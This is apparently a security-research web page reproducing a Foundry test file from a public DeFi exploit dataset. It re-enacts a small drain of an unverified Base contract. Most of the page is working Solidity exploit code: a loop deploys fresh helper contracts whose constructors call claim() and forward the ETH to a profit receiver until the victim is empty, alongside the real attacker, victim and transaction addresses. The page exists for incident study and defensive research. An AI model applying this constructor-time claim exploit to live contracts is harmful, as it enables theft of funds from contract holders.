Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/unverified_91a1_exp.sol

Public reproduction file for dataset entry Unverified_91a1.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/unverified_91a1_exp.sol75 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : 551.22 USD
7// Attacker : 0xc0082433ac0928eCB63D9A1b87fDd8567F956f11
8// Attack Contract : 0x7F05e20F02F92AC5801C410cb76D2F8531068208
9// Vulnerable Contract : 0x91a1Dd68dc0bA6526d560ba9E9a3715E0634193D
10// Attack Tx : https://basescan.org/tx/0x2d57862be191d62342b320bd3595b9a747fad10c7c3920ed86a2f7ac8a4c2cc7
11//
12// @Info
13// Vulnerable Contract Code : unverified
14//
15// @Analysis
16// Twitter Guy : https://t.me/defimon_alerts/1197
17//
18// Attack summary: The attacker repeatedly deployed fresh helper contracts that called claim()
19// during construction, received native ETH from the unverified victim, and forwarded it.
20// Root cause: claim eligibility was tied to the caller address/code state, allowing
21// constructor-time helper contracts to bypass the intended one-claim or contract-caller limit.
23address constant VULNERABLE = 0x91a1dd68dC0Ba6526d560Ba9E9a3715E0634193D;
25interface IUnverified91a1 {
26 function claim() external returns (uint256);
29contract ContractTest is BaseTestWithBalanceLog {
30 address payable private profitReceiver;
32 function setUp() public {
33 uint256 forkBlock = 30_841_258;
34 vm.createSelectFork("base", forkBlock);
36 profitReceiver = payable(makeAddr("profitReceiver"));
37 attacker = profitReceiver;
39 vm.label(VULNERABLE, "Unverified Victim");
40 }
42 function testExploit() public balanceLog {
43 uint256 victimBalanceBefore = VULNERABLE.balance;
44 uint256 receiverBalanceBefore = profitReceiver.balance;
46 // step 1: claim repeatedly from fresh constructor-time helper addresses.
47 uint256 successfulClaims;
48 while (VULNERABLE.balance > 0) {
49 try new ConstructorClaimHelper(profitReceiver) {
50 successfulClaims++;
51 } catch {
52 break;
53 }
54 }
56 // step 2: prove the constructor claims drained the victim and reached the profit receiver.
57 uint256 profit = profitReceiver.balance - receiverBalanceBefore;
58 assertGt(successfulClaims, 1);
59 assertEq(VULNERABLE.balance, 0);
60 assertEq(profit, victimBalanceBefore);
61 }
64contract ConstructorClaimHelper {
65 constructor(
66 address payable profitReceiver
67 ) {
68 IUnverified91a1(VULNERABLE).claim();
70 (bool ok,) = profitReceiver.call{value: address(this).balance}("");
71 require(ok, "forward failed");
72 }
74 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Unverified_91a1” (2025-05-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc0082433ac0928ecb63d9a1b87fdd8567f956f11

  • Attack Contract

    0x7f05e20f02f92ac5801c410cb76d2f8531068208

  • Vulnerable Contract

    0x91a1dd68dc0ba6526d560ba9e9a3715e0634193d

  • Attack Tx

    0x2d57862be191d62342b320bd3595b9a747fad10c7c3920ed86a2f7ac8a4c2cc7

File record

Name
Unverified_91a1
Path
src/test/2025-05/unverified_91a1_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1e5cd4bb827f991f92ba7adfc9bbc521a4e02488
Language
Solidity
Size
76 lines
Date
2025-05-28
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/unverified_91a1_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1e5cd4bb827f991f92ba7adfc9bbc521a4e02488, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.